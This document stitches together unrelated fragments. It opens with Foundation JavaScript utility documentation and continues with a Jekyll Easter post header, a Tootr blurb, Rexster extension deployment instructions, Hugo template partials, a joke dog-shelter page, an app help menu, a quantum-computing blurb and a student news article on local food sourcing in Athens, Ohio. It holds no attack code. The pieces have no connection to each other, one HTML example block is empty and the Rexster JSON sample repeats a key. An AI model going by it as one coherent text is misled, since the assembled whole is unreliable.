// Scope (String): CSS selector describing the area to be searched. Default
// is document.
//
// Returns:
// Element (jQuery Object): jQuery object containing elements matching the
// selector within the scope.
S(selector, scope) { ... }
```
{{/markdown}}
***
Throttle & Debounce
Many times when you create a callback, it’s advantageous to add a delay in order to prevent it from being triggered multiple times. Foundation includes two types of callback delays: throttle
and debounce
.
Throttle prevents a function from being executed more than once every n milliseconds. Throttling is often used in cases where it’s disadvantageous to trigger a callback every time an event is triggered (during a continuous action), but you still want to trigger a reaction while the event is occurring. Examples of this would be reacting to the browser window being resized, or animating an element.
Debounce prevents a function from being executed until it stops being invoked for n milliseconds. Debouncing is often used to prevent an action from being performed twice, such as double clicking a submit button, or to delay an event from occurring accidentally, such as an event triggered by hover.
Without Delay
{{#markdown}}
```javascript
// Button click handler
$('.button').on('click', function(e){
// Handle Click
});
// Resize function
$(window).on('resize', function(e){
// Do responsive stuff
});
```
{{/markdown}}
With Delay
{{#markdown}}
```javascript
// Debounced button click handler
$('.button').on('click', Foundation.utils.debounce(function(e){
// Handle Click
}, 300, true));
// Throttled resize function
$(window).on('resize', Foundation.utils.throttle(function(e){
// Do responsive stuff
}, 300));
```
{{/markdown}}
Method Signature
{{#markdown}}
```javascript
// Arguments:
// Func (Function): Function to be throttled.
//
// Delay (Integer): Function execution threshold in milliseconds.
//
// Returns:
// Lazy_function (Function): Function with throttling applied.
throttle(func, delay) { ... }
// Arguments:
// Func (Function): Function to be debounced.
//
// Delay (Integer): Function execution threshold in milliseconds.
//
// Immediate (Bool): Whether the function should be called at the beginning
// of the delay instead of the end. Default is false.
//
// Returns:
// Lazy_function (Function): Function with debouncing applied.
debounce(func, delay, immediate) { ... }
```
{{/markdown}}
***
Data Options
The data_options
method parses a semicolon delimited set of values in the selected element’s data-options
HTML attribute. It’s useful for allowing settings to be passed into a script or plugin from the markup.
HTML
{{#markdown}}
```html
```
{{/markdown}}
Javascript
{{#markdown}}
```javascript
var settings = Foundation.utils.data_options($('#target'));
```
{{/markdown}}
Method Signature
{{#markdown}}
```javascript
// Arguments:
// el (jQuery Object): Element to be parsed.
// data_attr_name (string): Optional name of the data attribute containing the options string (defaults to 'options').
//
// Returns:
// Options (Javascript Object): Contents of the element's data-options
// attribute.
data_options(el, data_attr_name) { ... }
```
{{/markdown}}
***
Media queries are the backbone of most responsive CSS techniques, though they can be a bit unwieldy to deal with. To make them easier to deal with, we’ve included two helper methods (register_media
and add_custom_rule
), as well as polyfilled the native function matchMedia
to work with all the browsers Foundation supports.
Register Media is used to add a new media query to Foundation’s list of JavaScript-accessible media queries. These can be found by calling Foundation.media_queries
. The method works by appending a meta tag to the head of the document and checking the font-family
of the element’s computed styles for the media query string.
Add Custom Rules is a method to add a custom CSS rule as a string to the document. If a media query is passed in the method will apply the style within that media query, otherwise it will be applied globally.
Match Media can be used to check if the browser currently matches the media query passed in as a string. To use the function, call matchMedia()
with the media query as an argument, and check the matches
property (see example below).
CSS
{{#markdown}}
```css
/*
* Note: The media query string in the font-family property has to be surrounded
* by slashes to be recognized by Phantom.js
*
* Note: Instead of being defined in the CSS, the following style rule could also
* be added to the document using Foundation.utils.add_custom_rule().
*/
meta.my-mq-custom {
font-family: "/only screen and (min-width: 40em)/";
width: 40em;
}
```
{{/markdown}}
Javascript
{{#markdown}}
```javascript
// Register custom media query
Foundation.utils.register_media('custom', 'my-mq-custom');
// Check if the media query is activated
if (matchMedia(Foundation.media_queries['custom']).matches){
...
};
// Apply a custom CSS rule to the media query
Foundation.utils.add_custom_rule('.js-generated-element { padding-top: ' + element.data('height') + 'px }', 'custom');
```
{{/markdown}}
Method Signature
{{#markdown}}
```javascript
// Arguments:
// Media (String): Key string for the media query to be stored as in
// Foundation.media_queries
//
// Class (String): Class name for the generated tag
register_media(media, class) { ... }
// Arguments:
// Rule (String): CSS rule to be appended to the document.
//
// Media (String): Optional media query string for the CSS rule to be
// nested under.
add_custom_rule(rule, media) { ... }
```
{{/markdown}}
***
Image Loaded
While binding to the document ready event is usually good enough for most plugins that manipulate the DOM, sometimes you need ALL the content to be loaded before you start calculating things like element sizes. This is especially important with images, which can take a while to load and significantly affect the layout of the page, depending on their size.
This can be avoided by using the image_loaded
method, which lets you pass in a callback to be executed when an image has completely finished loading.
Example
{{#markdown}}
```javascript
Foundation.utils.image_loaded($('img.wait-for-me'), function(){
console.log('Image Loaded! :)');
});
```
{{/markdown}}
Method Signature
{{#markdown}}
```javascript
// Arguments:
// Image (jQuery Object): Image(s) to check if loaded.
//
// Callback (Function): Foundation to execute when image is fully loaded.
image_loaded(image, callback) { ... }
```
{{/markdown}}
***
Random String
The random_str
method is a helper for generating random strings of a given length. This method is used by some of the Foundation plugins to ensure a reasonable probability of non-collision for IDs in dynamically generated DOM objects. Note that random_str
should not be considered cryptographically secure.
Example
{{#markdown}}
```javascript
>> Foundation.utils.random_str(6);
"P47PGD"
>> Foundation.utils.random_str(6);
"JvuXFc"
>> Foundation.utils.random_str(6);
"XOxB7j"
```
{{/markdown}}
Method Signature
{{#markdown}}
```javascript
// Arguments:
// Length (Integer): Length of string to be generated. Defaults to random
// integer.
//
// Returns:
// Rand (String): Pseudo-random, alphanumeric string.
random_str(length) { ... }
```
{{/markdown}}


--- layout: post title: Happy Easter 2012 categories: [] tags: - easter - family - holiday status: publish type: post published: true meta: _original_post_id: '' _original_import_author: John Duprey author: ---
The yearly Easter family photo turned out great! EVERYONE was looking at the cameras - including the dogs!


Tootr can publish to
This is an experimental free service that may disappear at any time.
Tootr can publish to a GitHub repository to take advantage of publishing via GitHub Pages.
Tootr can save to Dropbox. What happens from there is up to you!
Tootr can publish to your own bucket on Amazon S3.
(Read more...)


Deploying an extension is not difficult. To demonstrate the process involved, we will use the Sample Kibbles.
After building Sample Kibbles with Maven (mvn clean install
), copy the sample-kibbles-*.jar
file (where *
refers to the version of kibbles you are building) to the REXSTER_HOME/ext
directory.
The next step is to configure the extensions within rexster.xml
. For purposes of this example, we will expose the sample extensions on the tinkergraph
sample graph. The namespace
for the samples is tp-sample
. Therefore rexster.xml
should be modified in the following manner:
<graph>
<graph-name>tinkergraph</graph-name>
<graph-type>tinkergraph</graph-type>
<graph-file>data/graph-example-1.xml</graph-file>
<extensions>
<allows>
<allow>tp:gremlin</allow>
<allow>tp-sample:*</allow>
</allows>
</extensions>
</graph>
The addition of tp-sample:*
means that all extensions within the tp-sample
namespace are exposed on the tinkergraph
sample graph.
We now need to consider the configuration of individual extensions. In this case, the MapConfigurationExtension
requires some basic configuration in rexster.xml
for it to work properly. Modify the configuration so that the <graph>
element looks like this:
<graph>
<graph-name>tinkergraph</graph-name>
<graph-type>tinkergraph</graph-type>
<graph-file>data/graph-example-1.xml</graph-file>
<extensions>
<allows>
<allow>tp:gremlin</allow>
<allow>tp-sample:*</allow>
</allows>
<extension>
<namespace>tp-sample</namespace>
<name>map-config</name>
<configuration>
<some-key>some-value</some-key>
<other-key>other-value</other-key>
</configuration>
</extension>
</extensions>
</graph>
At this point, Rexster is ready to start serving the Sample Kibbles. Start Rexster and access http://localhost:8182/graphs/tinkergraph
being sure to set the Accept
header with the application/vnd.rexster-v1+json
Rexster Mime Type:
{
"version":"*.*",
"name":"tinkergraph",
"graph":"tinkergraph[vertices:6 edges:6]",
"read_only":false,
"graph": "mocktinkertransactionalgraph[vertices:6 edges:6 directory:data/graph-example-1]",
"features": {
"ignoresSuppliedIds": false,
"supportsTransactions": false,
"supportsSelfLoops": true,
"supportsBooleanProperty": true,
"supportsEdgeKeyIndex": true,
"supportsUniformListProperty": true,
"supportsThreadedTransactions": false,
"isPersistent": true,
"supportsVertexIndex": true,
"supportsStringProperty": true,
"supportsIntegerProperty": true,
"isWrapper": false,
"supportsMixedListProperty": true,
"supportsVertexKeyIndex": true,
"isRDFModel": false,
"supportsLongProperty": true,
"supportsVertexIteration": true,
"supportsKeyIndices": true,
"supportsEdgeIteration": true,
"supportsPrimitiveArrayProperty": true,
"supportsDoubleProperty": true,
"supportsSerializableObjectProperty": true,
"supportsIndices": true,
"supportsEdgeIndex": true,
"supportsMapProperty": true,
"supportsFloatProperty": true,
"supportsDuplicateEdges": true
},
"query_time":2.57055,
"up_time":"0[d]:00[h]:01[m]:30[s]",
"extensions":[
{"title":"evaluate an ad-hoc Gremlin script for a graph.","href":"tp\/gremlin"},
{"title":"returns the results of the toString() method on the graph.","href":"tp-sample\/simple-root"},
{"title":"returns the results of the toString() method on the graph.","href":"tp-sample\/simple-path\/some-work"},
{"title":"returns the results of the toString() method on the edge.","href":"tp-sample\/simple-path\/other-work"},
{"title":"a simple ping extension.","href":"tp-sample\/ping"},
{"title":"returns the configuration as JSON.","href":"tp-sample\/map-config"}
]
}
As you can see, the list of extensions configured and available are listed. Note that only those extensions that are available for the GRAPH
extension point are displayed here. As some extensions only work from the VERTEX
or EDGE
extension points they will not be visible here — however they are displayed on their respective endpoints such as http://localhost:8182/graphs/tinkergraph/vertices/1
.
Rexster uses ServiceLoader
to expose available extensions. When developing an extension to Rexster, it is necessary to include a com.tinkerpop.rexster.extension.RexsterExtension
file in META-INF/services
of the packaged extension to include the extensions to be exposed. In the case of the Sample Kibbles, the file lists each of the extensions to be made available through Rexster:
com.tinkerpop.rexster.kibbles.sample.MapConfigurationExtension
com.tinkerpop.rexster.kibbles.sample.PingExtension
com.tinkerpop.rexster.kibbles.sample.PingAddOnExtension
com.tinkerpop.rexster.kibbles.sample.ProducesXmlExtension
com.tinkerpop.rexster.kibbles.sample.SimplePathExtension
com.tinkerpop.rexster.kibbles.sample.SimpleRootExtension


{{ partial "session/organizers-images.html" . }}
When (day):
{{ .Params.when_day }}
At:
{{ partial "session/when-time.html" . }}
Track:
{{ partial "utils/track-to-link.html" (dict "this" . "track" .Params.track) }}
Topics:
{{ partial "params/topics-links.html" . }}
Watch
{{ partial "session/watch-zoom.html" . }}
Register:
{{ partial "session/register-hey-summit.html" . }}


Here at Helter Shelter, we pride ourselves on exclusively sheltering and fostering dogs named after the members of The Beatles. Please take all other pets to a different shelter.
Paul
John
George
Ringo
If you would like to adopt any of these pets, well you can't because we're keeping them! They're named after Beatles!


×
Help
+ Add an item
🖫 Save to the browser cache
↧ Download
⇊ Export the file as a JSON object of key-value pairs
↥ Upload a downloaded or exported file, any file that is a json object of key-value pairs should do.
- Remove the selected item
🗑 Clear the list


is a new way of computation which allows us to solve problems that are unsolvable for classical computers.
It’s a complex optimization problem. Solving it can help couriers deliver on time, make public transport more efficient or even improve the fabrication process of computer chips.
If you have an idea for a project involving quantum computing, visit the Unitary Fund.


Casa Nueva Restaurant and Cantina, 6 W. State Street, sources its ingredients locally from places within a 150-mile radius.
“We work with long-established farmers, like Shade River Farms, Green Edge Gardens and places like that,” Grace Corbin, Casa Nueva marketing coordinator, said. “But, every once in a while, a new one pops up, and we try to really nurture those people, too, who are just starting off.”
Casa Nueva is a partner of 30 Mile Meal, which is a meal map designed to locate farmers, food markets, local food producers, eateries and local food events in Athens. Restaurants that are partners source ingredients that are within 30 miles of Athens. The 30 Mile Meal Project works with the Athens County Visitors Bureau and the Appalachian Center for Economic Networks to help visitors and residents find local dining and foods.
Other 30 Mile Meal partners include Jackie O’s Pub and Brewery, 22 W. Union St., The Fluff, 8 N. Court St., and Village Bakery and Cafe.
Some businesses in Athens either make or carry their own products to serve to the community. Bob O’Neil, co-owner of the Village Bakery and Cafe, said supporting local businesses and producers is important.
“It’s a priority for the Village Bakery,” O’Neil said. “We created our business and model after trying to do as much local produce, meats, cheeses and dairy purchases as possible, so our menu reflects that throughout the season.”
The Village Bakery and Cafe, 268 E. State St., gets most of its products from Green Edge Gardens, King Family Farm, Primaterra Farm and Snowville Creamery. For the cafe, Village Bakery uses Ridge Runner Coffee and Snowville Creamery products for lattes and other beverages.
O’Neil said all of the products are from Southeastern Ohio, which is important to him because selling local products brings support to the community and to businesses.
“You can see real faces and kids and people that have lives in town, which I think is a big deal." -Chris Pyle, co-owner of Donkey Coffee and Espresso
Supporting local businesses and farms have noticeable effects for both consumers and producers. Donkey Coffee and Espresso, 17 W. Washington St., sells baked goods from Crumbs Bakery and the Molina Family Bakery. Chris Pyle, co-owner of the coffee shop, said supporting a locally owned business means you are supporting local families in addition to the business and suppliers.
“You can see real faces and kids and people that have lives in town, which I think is a big deal,” Pyle said.
When buying and selling locally produced food, it probably won’t be old. Transporting food from far away locations can affect its freshness, Corbin said. That’s why Casa Nueva uses items that are in season and locally produced as much as possible.
Additionally, buying from local producers and farms gives consumers more peace of mind when it comes to how a product is made and how the people making the product are treated. When someone buys and eats food grown locally, they know they are supporting a producer who treats their employees well and can eat food that is nutritious, O’Neil said.
ILLUSTRATION | Rilee Lockhart
“People do not know how food is produced and how the people who grew the food were treated when they purchase or eat food that’s been shipped from a place farther away,” O’Neil said.
Being environmentally friendly is also important to Corbin and other local producers. The further a truck travels, the more fossil fuels are burned to move ingredients that could have been purchased somewhere much closer, Corbin said.
“If produce has to travel 10 miles instead of 1,000 miles, there’s not as much fossil fuel being burned to transport that produce,” Corbin said.
When people buy foods that are produced locally, the money that is spent remains in the area in which it is spent, said Heather Fuston, Snowville Creamery’s marketing and sales director. Snowville is a dairy producer that sources its milk from local farmers and produces various types of milk, cream, yogurt and cheese products.
“When the money's all spent here, and circulated here, we're investing in the community and creating a community that's a little bit more self-reliant than one that, maybe, relies on all the food being imported in from who knows where,” Fuston said.
There are many benefits to the consumer for buying local, but businesses and producers also enjoy some benefits, Fuston said. Money spent on small businesses stays within the business unlike most large corporations. There are, of course, monetary benefits for both, but each party enjoys the neighbor-like relationship from doing business together.
“I really have seen a growth in the local food movement and just local food awareness,” Fuston said, “I think in the general public as well, where people are trying to do a better job of finding farms or businesses in their area that they can support.
Having a good and trusting relationship with a restaurant allows Snowville to serve new products on the menu and continue to sell products for consumers, Fuston said. This is called a circular economy.
“They're (local businesses in Athens) always so wonderful about taking on any of our new creations that we come up with or seasonal products and stuff like that,” Fuston said.
Businesses that operate in a circular economy with their producers can support each other more easily when they have the opportunity to put a producer on their menu. Furston said Snowville tries to support local business as much as it can.
“When they (businesses) support Snowville by putting us on their menu, they're supporting a business that employs workers that live and work in this community,” Fuston said. “So, our employees can go to their business now and buy their food and support their business as well.”